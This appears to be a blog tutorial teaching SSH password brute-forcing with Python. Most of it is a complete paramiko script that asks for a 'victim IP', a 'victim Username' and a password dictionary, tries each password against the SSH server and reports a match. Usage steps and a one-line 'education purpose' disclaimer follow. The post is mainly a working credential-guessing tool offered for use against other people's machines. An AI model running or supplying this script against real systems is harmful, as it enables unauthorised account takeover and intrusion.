How to Brute Force SSH Password Using Python
Hello Everyone, In my previous article, we did learn how to connect window machine to linux machine using python via SSH. Today we will learn, how to get SSH password using brute force technique.
What is SSH
SSH is a Secure Socket Shell cryptographic network protocol which provides administrators with a secure way to access a remote computer. SSH provides a secure channel over an unsecured network in a client-server architecture, connecting a SSH client application with a SSH server.
For example: If you want to remote login to another computer system that time we can use SSH.
How it works
Now let’s start demonstration
Prerequisites: Paramiko and Python installed
Full Source Code:
import paramiko import time """ >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Written By ManishHacker1 Follow on Facebook: https://www.facebook.com/ManishHacker1 Follow on Facebook: https://www.facebook.com/krypt0ra BLOG: https://pythonsecret.blogspot.in Website: https://krypsec.com Website : http://kryptora.com Follow on Insta: https://www.instagram.com/manish_hacker1/ Follow on Insta: https://www.instagram.com/kryptorainfotech <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< """ def connect(host, user, passwd): Fails = 0 try: s = paramiko.SSHClient() s.set_missing_host_key_policy(paramiko.AutoAddPolicy()) s.connect(host, username=user, password=passwd) print 'Password Found: ' + passwd except Exception, e: if Fails > 5: print '!!! Too many socket Timeout!' exit(0) elif 'read_nonblocking' in str(e): Fails += 1 time.sleep(5) return connect(host, user, passwd) elif 'synchronize with original prompt' in str(e): time.sleep(1) return connect(host, user, passwd) return None def Main(): host = raw_input("Enter your victim IP: ") user = raw_input("Enter your victim Username: ") dic = raw_input("Enter your dic path: ") with open(dic, 'r') as infile: start = time.time() for line in infile: passwd = line.strip('\r\n') print "Testing: " + str(passwd) con = connect(host, user, passwd) end = time.time() t_time = end - start print "Total runtime was: -- ", t_time, "second" if __name__ == '__main__': Main()
In above code save as “anyname.py” where “.py” our file extension.
How to use:
First open your linux machine and start SSH service. In my case I use Kali Linux. Go to your Linux machine and type in terminal and press enter button: service ssh start After that we search IP address.
After that, put your victim machine username and press enter button.
After that, put your dictionary path where exist your dictionary and press enter button and wait.
You will saw, the our program check all possible match in our dictionary and find password.
The above program is only for education purpose. Please do not illegal activity.
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Source: Python Secret